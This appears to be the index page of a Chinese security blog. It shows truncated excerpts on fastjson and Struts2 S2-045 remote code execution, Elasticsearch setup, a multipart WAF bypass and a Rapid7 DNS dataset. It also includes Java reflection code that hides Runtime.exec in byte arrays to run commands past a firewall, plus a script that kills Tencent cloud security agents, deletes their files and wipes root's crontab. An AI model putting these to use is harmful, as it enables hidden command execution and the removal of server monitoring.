2017-03-18 16:40:41

fastjson 远程代码执行漏洞

最近发现fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29或者更新版本。 官方公告:https://github.com/alibaba/fastjson/wiki/security_update_20170315 这个可能存在的远程代码执行漏洞产生的原因是fastjson反序列化json字符串为java对象的时候autoType没有正确的检测处理。 参照:https://github.com/alibaba/fastjson/commit/d52085ef54b32dfd963186e583cbcdfff5d101b5 触发漏洞需要构造一个特殊的json对象,这种应用场景多出现在C/S接口交互。公告中说道:"安全升级包禁用了部分autotype的功能,也就是"@type"这种指定类型的功能会被限制在一定范围内使用。" 当反序列化一个特殊的json字符串为java对象时可以实例化”任意“(有几个类如Thread在黑名单除外)的java对象并调用部分的java方法。 比如序列号如下json字符串(键包含了"@type" JsonTypeInfo类中的注解)时,fastjson会创建一个java对象实例: String json = "{\&q

2017-03-06 12:24:30

Struts2 S2-045 远程OGNL表达式执行漏洞

Struts2在解析请求的时候会主动把MULTIPART请求给解析成参数,这里的MULTIPART请求被解析了两遍。一遍是框架解析的,另一遍是那个自带的插件解析的。两个地方判断是否是文件上传请求的时候的代码不一致,导致了error。 Struts2的验证是否是MULTIPART的方式:  FileUploadBase验证方式: 简单的说就是Struts2的开发者判断是否是MULTIPART方式是如果字符串里面包含了multipart/form-data就认为是,而后面的FileUploadBase判断是字符串里面必须是以multipart/form-data开头的请求才认为是文件上传。如果把FileUploadBase的判断MULTIPART的时候方法换成Dispatcher类的content_type.contains("multipart/form-data")就不会触发这个error了。而这个error中的异常信息最终会被拿去当ognl表达式执行。这种神逻辑其实算起来跟上次的springboot的表达式注入漏洞差不多,因为异常导致的表达式注入。 官方的修复方式代码替换掉了LocalizedTextUtil.findText: 

2016-12-28 19:34:33

Elasticsearch 2.X

elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。使用elasticsearch可以快速的构建一个全文检索集群帮助你实时搜索。 一、安装环境 JDK环境安装 Elasticsearch 默认需要安装jdk1.7+版本,首先需要下载 jdk7 选择与当前操作系统相适应的JDK版本下载Java SE Development Kit(JDK). Linux: 选择Accept License Agreement,然后登陆Oracle账号就可以下载目前JDK7最新版的jdk-7u80-linux-x64.rpm 安装: rpm -ivh jdk-7u80-linux-x64.rpm 环境变量: vim ~/.bash_profile 在文件末尾添加 export JAVA_HOME=/usr/java/jdk1.7.0_80 export CLASS_PATH=./:$JAVA_HOME/lib export PATH=$PATH:$JAVA_HOME/bin Windows: 根据操作操作系统位数选择对应的版本,这里下载jdk-7u80-windows-x64.exe进行安装. 安装好JDK后需要再配置环境变量,右键我的电脑->属性->高级->环境变量 新建变量: 1. JAVA_H

2016-12-28 19:15:05

Elasticsearch 1.X

这个文档大约2014年在写的,只是修改了下版本号,这个文档写的非常简单,后面有空再发。 elasticsearch和solr都非常适合拿来做分布式全文索引,可以轻松的处理海量数据。 最近一年也没咋发文章,攒了很多都被弄丢掉了... elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。使用elasticsearch可以快速的构建一个全文检索集群帮助你实时搜索。 一、下载安装 wget https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.7.3.zip unzip elasticsearch-1.7.3.zip cp elasticsearch-1.7.3 elasticsearch-1.7.3-2 单机配置: 启动: ./bin/elasticsearch(windows下双击elasticsearch.bat) 后台方式启动: ./bin/elasticsearch -d 启动成功后会监听:9200(web api端)、9300(socket api)、54328(zen discovery udp广播) 二:中文分词 在默认情况下elasticsearch是不支持中文分词的,所以需要

2016-12-26 09:36:36

2016-12-25 10:37:24

2015-11-30 10:04:26

multipart/form-data PHP和Java通用的WAF绕过方法

依旧是multipart/form-data,去年的时候说道了利用PHP的特性去绕过WAF.轻松绕各种WAF的POST注入、跨站防御(比如安全狗) 原文简单的描述了PHP在处理POST请求的时候会解析multipart/form-data的内容。 那么这个multipart/form-data到底是个啥呢? 大概长成上面这样.HTML代码就更加简单了: <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>yzmm - p2j.cn</title> </head> <body>   <form action="http://192.168.199.151/index.php" method="POST" enctype="multipart/form-data">        File:<input type="file" name="file" />

2015-09-29 00:08:17

DNS Records (ANY)

这是一个来自Rapid7的LDNS库,包含了大约5亿域名A记录. Dataset Details The dataset contains snapshots taken within a timeframe of maximum 8 hours each. New snapshots will be added as additional data is collected. The forward DNS requests are made with record type 'ANY' which results in all kinds of result records being returned. The first upload contained only the following types: A, AAAA, CNAME, MX, NS, PTR, SOA, TXT. Since then we've changed the parsing library (ldns) and are now uploading all records we retrieve, as far parsed as possible. The data might contain unknown record types and known but

2015-09-20 05:30:01

java reflect cmd

看了 @动后河 jsp上传cmd马却遇到防火墙的绕过方法,很久以前和 @xcoder 师傅搞过类似的东东。贴出我的执行CMD利用代码: import java.io.InputStream; import java.lang.reflect.Method; import java.util.Scanner; public class ReflectTest { public static String reflect(String str) throws Exception { String runtime = new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }); Class<?> c = Class.forName(runtime); Method m1 = c.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })); Method m2 = c.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.clas

2015-09-11 22:54:55

卸载云盾

由此次阿里云事件谈粗暴的安全防护手段 阿里云: a ) wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh b ) chmod +x quartz_uninstall.sh c ) ./quartz_uninstall.sh 腾讯云: #!/bin/bash #fuck tx process rm -rf /usr/local/sa rm -rf /usr/local/agenttools rm -rf /usr/local/qcloud process=(sap100 secu-tcs-agent sgagent64 barad_agent agent agentPlugInD pvdriver ) for i in ${process[@]} do for A in $(ps aux |grep $i |grep -v grep |awk '{print $2}') do kill -9 $A done done chkconfig --level 35 postfix off service postfix stop echo ''>/var/spool/cron/root echo '#!/bin/b